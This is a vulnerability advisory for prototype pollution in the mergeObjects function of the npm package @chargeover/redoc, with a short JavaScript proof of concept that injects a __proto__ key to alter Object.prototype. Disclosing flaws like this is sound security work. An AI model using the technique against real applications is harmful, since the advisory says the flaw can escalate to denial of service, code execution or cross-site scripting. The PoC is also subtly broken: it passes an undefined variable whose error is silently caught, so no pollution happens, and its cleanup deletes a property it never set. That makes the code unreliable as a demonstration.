Vulnerability type: Prototype Pollution
Vendor of the Package: Chargeover
Affected Package:
- Product: @chargeover/redoc
- Version: 2.0.9-rc.69
Affected component(s):
mergeObjectsAttack vector(s):
the attacker can modify built-in Object.prototype by calling the vulnerable function: mergeObjects with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.
Description:
Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: mergeObjects. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack
Proof-of-Concept:
(async () => {
const lib = await import('@chargeover/redoc');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.mergeObjects (emptyObj, JSON.parse('{"__proto__":{"test":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();